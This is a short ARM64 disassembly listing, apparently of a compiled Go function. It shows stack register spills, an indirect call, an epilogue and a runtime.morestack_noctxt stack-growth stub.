    00507ba8str x0, [sp+520]
    00507bacstr x1, [sp+528]
    00507bb0str x2, [sp+536]
    00507bb4str x3, [sp+552]
    00507bb8str x4, [sp+560]
    00507bbcldr x2, [sp+520]
    00507bc0ldr x3, [sp+528]
    00507bc4ldr x4, [sp+536]
    00507bc8str x2, [sp+640]
    00507bccstr x3, [sp+648]
    00507bd0str x4, [sp+656]
    00507bd4ldr x2, [sp+552]
    00507bd8ldr x3, [sp+560]
    00507bdcstr x2, [sp+624]
    00507be0str x3, [sp+632]
    00507be4ldr x2, [sp+640]
    00507be8ldr x3, [sp+648]
    00507becldr x4, [sp+656]
    00507bf0str x2, [sp+680]
    00507bf4str x3, [sp+688]
    00507bf8str x4, [sp+696]
    00507bfcldr x3, [sp+624]
    00507c00ldr x4, [sp+632]
    00507c04str x3, [sp+208]
    00507c08str x4, [sp+216]
    00507c0cldr x0, [sp+680]
    00507c10ldr x1, [sp+688]
    00507c14ldr x2, [sp+696]
    00507c18ldr x26, [sp+704]
    00507c1cldr x5, [x26]
    00507c20blr x5
    00507c24ldp x29, x30, [sp-8]
    00507c28add sp, sp, 672
    00507c2cret x30
    00507c30
    00507c30loc_507c30:
    00507c30stp x0, x1, [sp+8]
    00507c34stp x2, x3, [sp+24]
    00507c38mov x3, x30
    00507c3cbl runtime.morestack_noctxt.abi0
    00507c40ldp x0, x1, [sp+8]
    00507c44ldp x2, x3, [sp+24]
    00507c48b 0x507660
    00507c4cudf 0
    00507660